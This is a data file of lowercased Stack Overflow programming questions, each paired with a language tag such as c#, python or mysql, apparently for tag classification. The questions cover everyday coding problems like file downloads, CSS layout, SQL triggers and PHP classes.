c# program won t download file testing to see if i can make a update for my program  i ve created a program which downloads a <code>*.zip*</code> file  the download progress is shown in a <code>progressbar</code>. the program then extracts the <code>*.zip*</code> file. this is what i have so far  update path points to here:   <pre><code>string updatepath = environment.getfolderpath(environment.specialfolder.commonapplicationdata) +  updatetest ;   public void downloadfile()  {         //client.downloadfile( http://elfenliedtopfan5.co.uk/update/elfenlied_weapons.zip   updatepath);         webclient client = new webclient();         client.downloadfileasync(new uri( http://elfenliedtopfan5.co.uk/update/elfenlied_weapons.zip )  updatepath);         client.downloadprogresschanged += client_downloadprogresschanged; }  void client_downloadprogresschanged(object sender  downloadprogresschangedeventargs e) {         int bytesin = int.parse(e.bytesreceived.tostring());         int totalbytes = int.parse(e.totalbytestoreceive.tostring());         int kb1 = bytesin / 1024;         int kb2 = totalbytes / 1024;          label1.text = kb1.tostring() +  kb out of   + kb2.tostring() +  kb (  +e.progresspercentage.tostring() +  %) ;         progressbar1.value = e.progresspercentage; }  public void seeiffile() {         // set to folder path we must ensure exists.         string updatepathex = updatepath;         try         {             // if the directory doesn t exist  create it.             if (!directory.exists(updatepathex))             {                 directory.createdirectory(updatepathex);             }         }         catch (exception e)         {             messagebox.show(e.message);         } }  // if all above works then follow this  public void exactzip() {         using (zipfile zip = zipfile.read(updatepath +  elfenlied_weapons.zip ))         {             foreach (zipentry e in zip)             {                 e.extract(updatepath);             }         } }  private void button1_click(object sender  eventargs e) {         seeiffile();         downloadfile(); } </code></pre>   my problem is that the file won t download  and the <code>progressbar</code> won t move either. i can t figure out why it s not working.,c#
drawing a very large bit map  i need to generate a very large bitmap that could be several times the size of my ipad screen. i want to find the best way of drawing it.     i can t simply draw the whole image in a single bitmap context  as that will consume too much memory. is it possible to draw small chunks of the image in memory the append it to an existing image file  or am i better off generating several small image files,ios
style multiple divs with css  how can i style these divs so that they are displayed on 1 line without bullets    <pre><code>&lt;div&gt; copyright (c) 2013 acme inc. all rights reserved. &lt;/div&gt;  &lt;div&gt; &lt;ul&gt; &lt;li&gt;&lt;a href= # &gt;privacy policy&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= # &gt;terms &amp;amp; conditions&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>   example: copyright (c) 2013 acme inc. all rights reserved. privacy policy terms &amp; conditions,css
uitableviewcell textlabel not changing the font with setadjustsfontsizetofitwidth in iphone  i want to adjust the uitableviewcell s label font so i have used the following code:   <pre><code>static nsstring *cellidentifier = @ itemcell ; uitableviewcell *cell = nil; if (cell == nil)  {     cell = [[[uitableviewcell alloc]              initwithstyle:uitableviewcellstylevalue1              reuseidentifier:cellidentifier] autorelease];     cell.accessorytype = uitableviewcellaccessorynone; } if ( indexpath.section == 0 )  {     ndorderitem *item = [self.order.items objectatindex:indexpath.row];     //[cell.textlabel setminimumfontsize:10];     //[cell.textlabel setadjustsfontsizetofitwidth:yes];     cell.textlabel.text = item.name;     cell.detailtextlabel.text = [nsstring stringwithformat:@ %d  item.quantity]; } </code></pre>   but the setadjustsfontsizetofitwidth is not adjusting the font of the textlabel.,objective-c
is it possible to override __setattr__ for a class   in python  i know it s possible to say something like   <pre><code>&gt;&gt;&gt; class c: ...   def __setattr__(self  name  value): ...     print( hey  you can t set {0} to {1}! .format(name  value)) ... &gt;&gt;&gt; x = c() &gt;&gt;&gt; x.y = 5 hey  you can t set y to 5! </code></pre>   but the following still works:   <pre><code>&gt;&gt;&gt; c.y = 5 &gt;&gt;&gt; print(c.y) 5 </code></pre>   is it possible to get functionality like:    <pre><code>&gt;&gt;&gt; c.y = 5 hey  you can t set y to 5! </code></pre>   asking solely out of curiosity  as i can t really think of an example where that d be genuinely practical.,python
mysql query combine two ordered queries with limit start count  i m new to mysql and i need to append the results of two independently ordered queries  limit the result of the whole thing combined  and return starting at a certain index.    so something like this   <ol> <li> the first query will result in an ordered list like this   <pre><code>a b c </code></pre></li> <li> the second query will result in another ordered list like this   <pre><code>1 2 3 </code></pre></li> </ol>   then append the second result after the first like this   <pre><code>a b c 1 2 3 </code></pre>   then only return a certain number of elements and start at a particular index  so for example i only want total 4 return values starting at index 2  the result should be   <pre><code>c 1 2 3 </code></pre>   as you can see   c  is at index 2 of the appended result  and 4 elements are returned.    anybody knows how to write this complicated mysql statement,mysql
how to save state during orientation change in android if the state is made of my classes   i was looking at the way android handles orientation change for my application (i discovered that it restarts the mainactivity on orientation change. i ve seen that you can override the method    <pre><code>protected void onsaveinstancestate(bundle outstate) </code></pre>   to save stuff  then have the in onstart. the problem is that i ve my view with custom objects and a listview using a custom adapter. everything is in a arraylist of these objects  but i ve noticed that you can t put arbitrary objects in the bundle! so how do i save the state,android
encrypt and decrypt bank account information  i have bankaccountnumber and routing number stored in sql server.    how i can encrypt those information most secure way     what datatype i should use     i want to use hashcode with salt but i do not know how to decrypt     sql server table   <pre><code>salt    varbinary(250)  not null bankaccountnumber binary(16)    not null </code></pre>   code     for encryption below code work but i do not know how to decrypt bankaccount number. i do not know i am using right datatype.   <pre><code>public void createnewaccount(accountmanagementview useraccount) {             byte[] salt = system.text.encoding.utf8.getbytes( hereissalt );             byte[] hashedbankaccnumber = createsaltedfield(salt  useraccount.bankaccountnumber);              buildinsertqueryfortable( user )                 .setcolumntovalue( id   guid.newguid())                 .setcolumntovalue( emailaddress   useraccount.emailaddress)                 .setcolumntovalue( salt   salt)                 .setcolumntovalue( bankaccountnumber   hashedbankaccnumber )                 .executenonquery(); } </code></pre>   this is function generating encryption key   <pre><code>private static byte[] createsaltedfield(byte[] salt  string bankaccountnumber) {     return new hmacmd5(salt).computehash(system.text.encoding.utf8.getbytes(bankaccountnumber)); } </code></pre>   can anybody help me,asp.net
how to change current directory in java   i am writing a java program to read a file whose path is in a setting xml file. and the path is not absolute but relative to the xml file. so how should i do to change the current directory to the directory of the xml file and then use the relative file path to open the file,java
how to use nscolor  where does it belong  how to reference it   i want to use the keyboardfocusindicatorcolor inside my code but not sure where nscolor is. the documentation says appkit.framework but when i try to link a library appkit.framework does not exist.    <pre><code>nscolor *transbg = [[nscolor keyboardfocusindicatorcolor] </code></pre>,ios
comparing two lists and popping the larger value to a new list (python)  i have to compare two lists and add the top value to a new list. i want to use the .pop function with my code i have now. this is homework but all my resources have been shut down so any help would be greatly appreciated. thanks.    here is my code if it helps.   <pre><code>class toplist():     __slots__ = (  name    gender    occurences  )  def mklist( name  gender  occurences ):     find = toplist()     find.name = name     find.gender = gender     find.occurences = occurences     return find  def main():     year = input(  enter year:   )     file = open(  yob  + year +  .txt  )     lst = []     femalelst = []     malelst = []     for line in file:         line1 = line.split(     )         names = mklist( line1[0]  line1[1]  line1[2] )         lst.append( names )         if names.gender ==  f :             femalelst += [ line1 ]         else:             malelst += [ line1 ]     while len( lst ) &lt; 20:         if name.occurences( malelst ) &gt; name.occurences( femalelst ):             malelst.pop(0) += [ lst ]         else:             femalelst.pop(0) += [ lst ]     print( femalelst )   main() </code></pre>,python
pointer address memories belongs to ram or hard drive  <pre><code>#include &lt;stdio.h&gt; int main() {     int num=1234;     printf( %p   &amp;num);     return 0; }  //ouput: //0xffffcbfc </code></pre>   is 0xffffcbfc a ram or a hard drive address memory,c
java - how can i monitor memory and cpu usage of other process  i need to get info for memory and cpu usage of some process running on the machine (not the java process).    how can i do that     [i reopened the thread after it was closed as a duplicate of other thread. the other thread is not relevant  it is not talking about receiving information of other specific process].,java
how can i specify how a file is opened with html   i have always wanted to create a personal website on my computer where i could click on a title i wanted and have it start up the game in its respectable emulator. i have tried hrefs and hrefs in hrefs with no success. i want it to be on my flash drive and on it would be all the necessary emulators  roms  and code. i do not wish to have to keep setting the default program on each computer. here is my code so far:   <pre><code>&lt;html&gt;   &lt;head&gt;     &lt;title&gt;games&lt;/title&gt;   &lt;/head&gt;   &lt;body style= text-align:center;background-image:url( images/background.jpg );color:#d8d8d8;link= gold  alink= green  vlink= #bdbdbd &gt;     &lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/007.z64 &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;golden eye 007&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/mario kart 64.z64 &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;mario kart 64&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/mario64.z64 &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;super mario 64&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/papermario.z64 &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;paper mario&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/zelda.n64 &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;legend of zelda ocarina of time&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;a href= rom/ffxii.bin &gt;&lt;font style= font-size:20px;text-align:center;font-family:hobo std &gt;final fantasy xii&lt;/font&gt;&lt;/a&gt;&lt;/br&gt;&lt;/br&gt;     &lt;div style= position:absolute;top:10px;left:540px &gt;&lt;h2 style= font-size:50px;text-align:center;font-family:hobo std;color:#266ee1 &gt;video games&lt;/h2&gt;&lt;/div&gt;     &lt;div style= position:absolute;top:110px;left:535px &gt;&lt;hr style= width:295px;height:2px;background:#266ee1 /&gt;&lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>,html
linking hyperlink of ascx to aspx  i have a hyperlink in ascx file and its navigateurl is set in another aspx page how to link them    in aspx:   <pre><code> hyperlink showrelated = (hyperlink)logout1.findcontrol( hyprelated );         showrelated.visible = true;           showrelated.navigateurl = string.format( relatedfields.aspx mid={0}&amp;fid={1}&amp;srchid={2}&amp;searchstr={3}&amp;pkid={4}                                       metaid  filterid  searchid  searchstr  pkid); </code></pre>   in ascx:   <pre><code>   &lt;asp:hyperlink id= hyprelated  data-role= button  style= text-align:center;margin:0 15px 0 15px  data-mini= true  runat= server  visible= false &gt; </code></pre>,asp.net
objective c inheritance and syntax  i am starting to learn basic of objective-c  currently reading kochan s (progamming objective c).    i am stucked at inheritance topic.    i have 2 class and 1 subclass  xypoint and rectangle  square (square is subclass of rectangle).    i have method which can retain value x and y coordinate for rectangle object.    here is my main.m files   <pre><code>#import &lt;foundation/foundation.h&gt; #import  rectangle.h  #import  square.h  #import  xypoint.h   int main(int argc  const char * argv[]) {      @autoreleasepool {          square *square1 = [[square alloc]init];         xypoint *mypoint = [[xypoint alloc]init];          [mypoint setx:33 andy:33];          [square1 setorigin:mypoint];          [mypoint setx:25 andy:25];         nslog(@ square1 origin is %i and %i  [[square1 origin]x] [[square1 origin]y]);         [mypoint setx:125 andy:125];          nslog(@ square1 origin is %i and %i  [[square1 origin]x] [[square1 origin]y]);          [mypoint setx:25 andy:25];         nslog(@ square1 origin is %i and %i  [[square1 origin]x] [[square1 origin]y]);       }     return 0; } </code></pre>   and my rectangle.m   <pre><code>-(void) setorigin:(xypoint *)pt{          if (!origin)         origin = [[xypoint alloc]init];          origin.x = pt.x;         origin.y = pt.y;  }  -(xypoint *)origin {     return  origin; } </code></pre>   and xypoint.m files   <pre><code>- (void) setx:(int)xval andy: (int) yval{       x = xval;     y = yval;  } </code></pre>   output from this program is :   <pre><code>2014-01-23 15:25:36.368 rectangle1[4356:303] square1 origin is 33 and 33 2014-01-23 15:25:36.370 rectangle1[4356:303] square1 origin is 33 and 33 2014-01-23 15:25:36.370 rectangle1[4356:303] square1 origin is 33 and 33 </code></pre>   nslogged 3 times. this retain method  <code>-(void) setorigin:(xypoint *)pt;</code> helped to retain xy values on rectangle object even xy value reseted through setx andy method.    but when i changed retain method into this :    -(void) setorigin:(xypoint *)pt{   <pre><code>       if (!origin)         origin = [[xypoint alloc]init];          origin = pt; } </code></pre>   nslogged output changed into this :   <pre><code>2014-01-23 15:29:54.287 rectangle1[4398:303] square1 origin is 25 and 25 2014-01-23 15:29:54.288 rectangle1[4398:303] square1 origin is 125 and 125 2014-01-23 15:29:54.289 rectangle1[4398:303] square1 origin is 25 and 25 </code></pre>   what is the difference between those two   aren t those two have the same characteristic pointing at the same coordinate both for x and y,objective-c
ruby on rails web application development from scratch  <h3>background</h3>   i am interested in getting to grips with some ruby on rails. i ve got 4 years experience programming in c#  asp.net  asp.net mvc  sql server and more recently silverlight etc. obviously i ve got a pretty good understanding about the various implementation routes that you can go down when writing web applications using c#  the issue is that i have literally no clue about ruby on rails  other than that ruby is an awesome pure object oriented language and that rails is a very quick way in which to build web applications using ruby.   <h3>what i m after</h3>   so essentially i m after a session that fills in the blanks  and helps me to understand the various ways of building web applications using ror. on top of this  i ve found a few tutorials but they seem to be quite vague  so any documentation/samples would be very handy to help get me started.   <h3>more detail</h3>   popular ide s to use for development (i ve heard rubymine is good from jetbrains). possible database implementations to use (i know mysql is an option but which version ) is html/css used to style the web apps ! interface plugins if used  general route to producing a highly web 2.0 site that encompasses a fantastic user experience and a beautiful interactive interface.    ...you get the idea  i just need a bit of guidance getting clued up.    help greatly appreciated :-d,ruby-on-rails
dice up a string in js  i have a string like this   <pre><code>4741:green cirhosis orange long-term green his b chic 4642:green crhosis green hsysk b cc  </code></pre>   the sting contains two records with record id 4741 and 4642 separated by  character. also within the records everything else is separated by comma( )    how can i split this sting. please note that this example string contains only 2 records but the other ones may contain more or less or none.  thank you for your help!,javascript
methods / functions in php   im pretty new to php comming from mostly java. most of the php code i read  there is alot of duplication of code and almost never ever any local private methods. is there any reason for that  the only one i can come up with is if it has some performance issues  my clean code honor has a hard time leaving the code as it is.,php
php class inherit parent issue  config.php   <pre><code>&lt; php define( db_host    localhost ); define( db_db    db ); define( db_username    root ); define( db_password    123456 ); </code></pre>   class.main.php   <pre><code>&lt; php class main {     var $host     =   ;     var $db       =   ;     var $username =   ;     var $password =   ;     var $conn =   ;      public function __construct() {         $this-&gt;host = db_host;         $this-&gt;db = db_db;         $this-&gt;username = db_username;         $this-&gt;password = db_password;     }      /**      * connect to database      */     function connect() {         $this-&gt;conn = mysql_connect($this-&gt;host  $this-&gt;username  $this-&gt;password) or trigger_error(mysql_error()  e_user_error);         mysql_query( set names  utf8  );     }      public function myrow($sql) {         mysql_select_db($this-&gt;db  $this-&gt;conn);         $rec = mysql_query($sql  $this-&gt;conn) or die(mysql_error());         $row = mysql_fetch_assoc($rec);         $count = mysql_num_fields($rec);          if ($this-&gt;recordcount &gt; 0) {             $result = array();             $temp = array();              do {                 for ($i = 0; $i &lt; $count; $i++) {                     $name = mysql_field_name($rec  $i);                     $temp[$name] = $row[$name];                 }                  array_push($result  $temp);             } while($row = mysql_fetch_assoc($rec));         } else {             $result = null;         }          mysql_free_result($rec);         return $result;     } } </code></pre>   this a part of my class  if i want to get data  it s like   <pre><code>&lt; php include  config.php ; include  class.main.php ; $main = new main; $main-&gt;connect(); $sql =  select * from table ; $row = $main-&gt;myrow($sql); </code></pre>   sometimes i will make other class for different case  some of the class might need to use <code>myrow</code> function  this is how i did now.    class.sub.php   <pre><code>&lt; php class sub extends main {      public function __construct() {         parent::__construct();     }     /**      * get member information      *      * @param integer $id member id      * @return data      */     public function member($id = null) {         $this-&gt;connect();          if (null === $id) {             $id = $_session[ memberid ];         }          $sql =  select *             from `members`             where `on` = 1 ;         return $this-&gt;myrow($sql);     } }  &lt; php include  config.php ; include  class.main.php ; $main = new main; include  class.sub.php ; $sub = new sub; $main-&gt;connect();  $sql =  select * from table ; $row = $main-&gt;myrow($sql);  $member = $sub-&gt;member(); echo $member[ xxx ]; </code></pre>   it s work right now  all i concerned is i call $this->connect in <code>member</code> function again otherwise i can t get the connection from main class  but it means i connect to database twice in one page  it such a resource wasted  how to fix it,php
find out if decimal point is present in decimal data type  i have a decimal data type.     i am getting values in multiple formats like 25 or 25.00.     how do i check if decimal point is presnet in a given decimal number      if it s not present i have to add .00 to the number.,.net
what and where is the use of package name in a java program can a single .java file have two classes   im a noob in java. i was learning java from vogella.com there i saw an example having two classes. can a single .java file have two class names (i dont think so because file is supposed to have class name) first class is:   <pre><code>package com.vogella.javastarter.exercises1;  class person {string firstname;   string lastname;  int age;  public person(string a  string b  int value) {   firstname = a;   lastname = b; age = value; }  public string getfirstname() {   return firstname; }  public void setfirstname(string firstname) {   this.firstname = firstname; }  public string getlastname() {   return lastname; }  public void setlastname(string lastname) {   this.lastname = lastname; }  public int getage() {   return age; }  public void setage(int age) {   this.age = age; }  @override public string tostring() {   return firstname +     + lastname; } </code></pre>   }     and second class is:   <pre><code>package com.vogella.javastarter.exercises1;     public class main {     public static void main(string[] args) {     person person = new person( jim    knopf   21);     person p2 = new person( jill    sanders   20);     // jill gets married to jim     // and takes his name     p2.setlastname( knopf );     system.out.println(p2);   } }  </code></pre>   how am i supposed two compile two separate .java files because the first file lacks main() method.and second file doesnt connect to  class person  file.    and the most important thing how functions/methods of class person get executed when i see a single function call (setlastname() function). call me stupid but please clear my doubt.,java
how do i keep a nav menu bar item in the active state after it s been pressed and flipped to the page it should be on  so  what i would like to happen is that once the menu item is pressed  the site flips to that page but the button that leads to that page remains in the active state while on that page to show the user where they are on the site. so far  i haven t found a combination that works and i would like this to work purely with css3.    <strong>html</strong>   <pre><code>&lt;div id= navmenu &gt;                 &lt;ul id= menubar1  class= menubarhorizontal &gt;                     &lt;li&gt;&lt;a href= index.html &gt;&amp;nbsp;home&amp;nbsp;&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= surveying.html &gt;surveying&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= engineering.html &gt;engineering&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= companyprofile.html &gt;company profile&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= products.html &gt;products&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= clients.html &gt;clients&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= contacus.html &gt;contact us&amp;nbsp;&lt;/a&gt;&lt;/li&gt;                 &lt;/ul&gt;         &lt;/div&gt; </code></pre>   <strong>css3</strong>   <pre><code>#navmenu {     padding: 0;     margin: 5% 0 0 0;     text-decoration: none;     font-family: arial;     font-size: 16px;     font-weight: normal;     text-decoration: none; } #navmenuactive {     position: absolute;     height: 47px;     padding: 0;     background-color: red; } #navmenuactivetext {     margin: 16px 0 0 0;     padding: 0;     color: #ffffff;     text-decoration: none;     text-align: center;     font-family: arial;     font-size: 16px;     font-weight: normal; } ul.menubarhorizontal {     width: 100%;     alignment-baseline: central;     margin: 0 0 0 0;     padding: 0;     padding-bottom: 5px;     list-style-type: none;     font-size: 100%;     text-align: center;     cursor: default;     overflow: hidden;     white-space: nowrap; } ul.menubarhorizontal li {     height: 30px;     display: inline-block;     margin: 18px 0 0 0;     padding: 0; } ul.menubarhorizontal a:link  ul.menubarhorizontal a:visited {     padding:17px 23px 8px 23px;     margin-top: 0px;     margin-left: -.5px;     margin-right: -.5px;     text-align:center;     text-decoration:none;     text-transform:uppercase;     color: #555;     background-image: url(../images/navbar_i.png); } ul.menubarhorizontal a  ul.menubarhorizontal a:hover  ul.menubarhorizontal a:active {     color: rgb(255 255 255);     background-image: url(../images/navbar_a.png); } </code></pre>,css
sorting in file and out c++  i have the c++ code. it reading file and look for anagrams in this file ( diction ).   <pre><code>while (1) {     infile.getline(buff  sizeof(buff));     if(infile.eof()) break;     sbuff = buff;     sort(sbuff.begin()  sbuff.end());     an.insert(pair&lt;string  string&gt;(sbuff  buff)); }  im = an.begin(); ane = an.end();  vector&lt;multimap&lt;string  string&gt;::iterator&gt; chg;  chg.push_back(im);  while (++im != ane) {     chg.push_back(im);     if((*im).first != (*chg[0]).first)     {         if(chg.size() &gt; 2)         {             for(unsigned int i=0; i &lt; chg.size() - 1; i++);         cout &lt;&lt; endl;         }          chg.clear();         chg.push_back(im);     }     }  if(chg.size() &gt; 1)     for(unsigned int i=0; i &lt; chg.size(); i++)         cout &lt;&lt; (*chg[i]).second &lt;&lt; endl;     infile.close(); } </code></pre>   after compiling it displays a brunch of empty rows and all. on macos on fedora the same result    what s amiss,c++
what s the difference between declaring functions before or after main()   what s the difference between:   <pre><code>void function();  int main() {......}  void function() {......} </code></pre>   vs   <pre><code>void function() {.......}  int main(); </code></pre>   it seems odd to declare a function before main then define it after main when you could just declare and define it before main. is it for aesthetic purposes  my teacher writes functions like the first example.,c++
javascript syntax errors - unrecognized token  i get the following error when i try to run the code: syntaxerror: unrecognized token  \     i am very new to javascript and this is my first project. i am trying to run this in code academy. when i try running it in  coderunner  application for mac  it gets an error saying  prompt is not defined      here is my code for a basic gpa calculator:   <pre><code>//gpa calculator    var classoneprompt = prompt( enter class one grade  ex. a  b  c  etc. ); var classtwoprompt = prompt( enter class two grade ); var classthreeprompt = prompt( enter class three grade. if you do not have a third class enter none. ) var classfourprompt = prompt( enter class four grade. if you do not have a fourth class enter none. ) var classfiveprompt = prompt( enter class five grade. if you do not have a fifth class enter none. ) var classsixprompt = prompt( enter class six grade. if you do not have a sixth class enter none. )  if (classoneprompt ===  a )     {var classone = 4.0} else if (classoneprompt ===  b )     {var classone = 3.0}     else if (classoneprompt ===  c )     {var classone = 2.0}     else if (classoneprompt ===  d )     {var classone = 1.0}     else if (classoneprompt ===  f )     {var classone = 0.0}     else if (classoneprompt =  none )     {var classone = null}  if (classtwoprompt ===  a )     {var classtwo = 4.0} else if (classtwoprompt ===  b )     {var classtwo = 3.0}     else if (classtwoprompt ===  c )     {var classtwo = 2.0}     else if (classtwoprompt ===  d )     {var classtwp = 1.0}     else if (classtwoprompt ===  f )     {var classtwo = 0.0}     else if (classtwoprompt ===  none )     {var classtwo = null}   if (classthreeprompt ===  a )     {var classthree = 4.0} else if ( classthreeprompt ===  b )     {var classthree = 3.0}      else if (classthreeprompt ===  c )     {var classthree = 2.0}     else if (classthreeprompt ===  d )     {var classthree = 1.0}     else if (classthreeprompt ===  f )     {var classthree = 0.0}     else if (classthreeprompt ===  none )     {var classthree = null}   if (classfourprompt ===  a )     {var classfour = 4.0} else if ( classfourprompt ===  b )     {var classfour = 3.0}     else if (classfourprompt ===  c )     {var classfour = 2.0}     else if (classfourprompt ===  d )     {var classfour = 1.0}     else if (classfourprompt ===  f )     {var classfour = 0.0}     else if (classfourprompt ===  none )     {var classfour = null}   if (classfiveprompt ===  a )     {var classfive = 4.0} else if ( classfiveprompt ===  b )     {var classfive = 3.0}     else if (classfiveprompt ===  c )     {var classfive = 2.0}     else if (classfiveprompt ===  d )     {var classfive = 1.0}     else if (classfiveprompt ===  f )     {var classfive = 0.0}     else if (classfiveprompt ===  none )     {var classfive = null}   if (classsixprompt ===  a )     {var classsix = 4.0}     else if (classsixprompt ===  b )     {var classsix = 3.0}     else if (classsixprompt ===  c )     {var classsix = 2.0}     else if (classsixprompt ===  d )     {var classsix = 1.0}     else if (classsixprompt ===  f )     {var classsix = 0.0}     else if (classsixprompt ===  none )     {var classsix = null}  if (classone != null &amp;&amp; classtwo != null)     {console.log((classone + classtwo) / 2)}     else if (classone != null &amp;&amp; classtwo != null &amp;&amp; classthree != null)     {console.log((classone + classtwo + classthree) / 3)}     else if (classone != null &amp;&amp; classtwo != null &amp;&amp; classthree != null &amp;&amp; classfour != null)     {console.log((classone + classtwo + classthree + classfour) / 4)}     else if (classone != null &amp;&amp; classtwo != null &amp;&amp; classthree != null &amp;&amp; classfour != null &amp;&amp; classfive != null)      {console.log((classone + classtwo + classthree + classfour + classfive) / 5)}     else if (classone != null &amp;&amp; classtwo != null &amp;&amp; classthree != null &amp;&amp; classfour != null &amp;&amp; classfive != null &amp;&amp; classsix != null)      {console.log((classone + classtwo + classthree + classfour + classfive + classsix) / 6)}     else       {console.log( uh oh! looks like there was a mistake. please try again and make sure you follow instructions carefully! good luck! )} </code></pre>,javascript
mysql 5.7 update error: 1093  i have this update statement in a trigger in one of my databases:   <pre><code>update trainees  set rsi_total = (   select sum(rsitotal) as rsitotal    from (     select max(hours) as rsitotal      from courses        left join do_not_add on courses.fk_class_id = do_not_add.fk_class_id        inner join trainees on courses.fk_trainees_id = trainees.pk_trainee_id      where do_not_add.fk_class_id is null        and trainees.pk_trainee_id = new.fk_trainees_id      group by courses.fk_class_id   ) courses )  where trainees.pk_trainee_id = new.fk_trainees_id </code></pre>   and does exactly what i expect  recently i migrated my database to another machine and moved and renamed a few tables and columns. so i re-wrote this trigger to:    <pre><code>update main  set rsi_total = (   select sum(rsitotal) as rsitotal    from (     select max(completed_hrs) as rsitotal      from courses        left join jac.do_not_add on courses.fk_class_id = do_not_add.fk_class_id        inner join main on courses.fk_main_id = main.pk_main_id      where do_not_add.fk_class_id is null        and main.pk_main_id = new.fk_main_id      group by courses.fk_class_id   ) courses )  where main.pk_main_id = new.fk_main_id </code></pre>   but i get error 1093  i looked up this error and it says i can not update a table that is being changed  what i dont understand is why does the old trigger continue to work but not this new,mysql
pygame music error <pre><code>pygame.init() pygame.display.init screen = pygame.display.set_mode([800  600]) test =  space.ogg  pygame.mixer.init(frequency=22050  size=-16  channels=2  buffer=4096) pygame.mixer.music.load(path.join(snd_dir   space.ogg )) pygame.mixer.music.play(test) screen = pygame.display.set_mode((width  height)) pygame.display.set_caption( my game ) clock = pygame.time.clock() </code></pre>   it comes up with an error when i try to run the code    error:      pygame.mixer.music.play(test)     typeerror: an integer is required (got type str),python
executing python functions one line at a time  i would like to be able to execute python functions one line at a time  so that i can interleave the execution of two (or more) functions arbitrarily.    the first way to achieve this  that comes to mind  would be to manually insert a <code>yield</code> statement between each line in the function  and after calling the function  use <code>next()</code> on the returned iterator whenever i want the next line in the function to be executed.    this would work  per se  but it d be ugly as all hell and doing all that manual work would just feel very wrong. is there a simpler and/or more automated way to achieve what i want     i have seen <a href= https://stackoverflow.com/questions/7681431/run-python-source-code-line-by-line >this</a> somewhat similar question  but despite the asker trying to convince people that he doesn t want a debugger  all the answers can be summarized with  use a debugger  (perhaps because he didn t explain why a debugger isn t what he needs). anyway  the aforementioned question (and certainly the answers) aren t applicable  since i need to be able to step through many functions simultaneously  and as far as i can see  a debugger (or <code>sys.settrace()</code>  which is used to implement debuggers under python  for that matter) can only be used to step through a single body of code  and can t be used to freely switch between executing multiple bodies of code.,python
include a unique url in exe  i want to give users of my site the ability to upload their software/hardware configuration automatically on windows. so i m thinking of having an exe file download  and somehow put in that exe a unique url for each user. when the data is collected  the program would just posts some json to that url. how can i do it  i m most familiar with .net platform. tools like this do exist  for example blizzard uses this approach for their beta test enroll. each user downloads a slightly different exe.    tia,.net
objective c array not storing value  forewarning: i m going through the itunes stanford course for ios  and i m a complete noob with this language.    i have this function in my  deck.m  file.   <pre><code>- (id)init {  self = [super init];   if (self) {      for (nsstring *suit in [card validsuits]) {          for (nsuinteger rank = 0; rank &lt; [[card validranks] count]; rank++) {              card *card = [[card alloc] init];              card.contents = [[[card validranks] objectatindex:rank] stringbyappendingstring:suit];              [self.cards addobject:card];              nslog(@ %@   [self.cards count]);          }      }  }   return self; } </code></pre>   i also have this function in my  card.h  file (which deck is composed of )   <pre><code>@interface deck : nsobject  @property (nonatomic  strong) nsmutablearray *cards;  - (card *)drawrandomcard;  @end </code></pre>   the problem i m having is that when i print the count when running the program  it s always 0. when i try to print the card  they look fine. when i try to print the card by indexing the array  they re all (null).     what s wrong,objective-c
how to render a page with instance variable with a hash anchor  i can render a <code>@comment</code> by     <code>redirect_to @comment</code>  which <code>id=35</code>    so the url may redirect to <code>site/comments/35</code>    but what if i want to add anchor to the url <code>site/comments/35#title</code>    thanks,ruby-on-rails
why does an ios app store app still launch when the distribution provisioning profile expires   from experience i have found that an app distributed with enterprise distribution certificate and provisioning profile will fail to launch when the provisioning profile expires  even if the distribution certificate is still valid. why is this not the case for app store apps     this question is very similar to the following posts  but to my best knowledge there is no question that explains why this is true. i was unable to find this information in the current apple developer documentation.    related questions:<br> <a href= https://stackoverflow.com/questions/7128479/expiring-app-store-provisioning-profile/51118645#51118645 >expiring app store provisioning profile</a><br> <a href= https://stackoverflow.com/questions/3751362/how-can-i-update-my-app-in-the-app-store-if-the-distribution-provisioning-profil rq=1 >how can i update my app in the app store if the distribution provisioning profile expired </a><br> <a href= https://stackoverflow.com/questions/35422837/renew-provisioning-profiles-distribution-and-keep-current-appstore-apps-workin >renew provisioning profiles (distribution) and keep current appstore apps working</a>,ios
create new dynamic dictionary from pandas dataframe  i have a dataframe that i want to take certain values from to enter into a new dictionary. i want to rename some of the columns from the dataframe and make them keys in the dictionary as well. how do i build a dynamic dictionary from scratch entering column values from my dataframe as values into the dictionary     the df input columns include  awardnumber  which will be  noticenumber  in the dictionary and  college  etc. the dataframe looks like this:   <pre><code>awardamount awardnumber         college                      department   name  email   none        3r01gm110382-03s1   college of arts and sciences chemistry    mary  mary@gsu.edu   </code></pre>   the desired output would be like this:   <pre><code>{       awardamount : none       noticenumber :  3r01gm110382-03s1        college :  college of arts and sciences        department :  chemistry        name :  mary        email :  mary@gsu.edu  } </code></pre>,python
how do i make a blue square image in angularjs  <img src= https://i.stack.imgur.com/z7qj6.png  alt=  >    i need a blue square image before the text total. please see the attached image. how do i do this in angular js. ng-style is not taking height and width. i am not able to do it with ng-class applying css.,angularjs
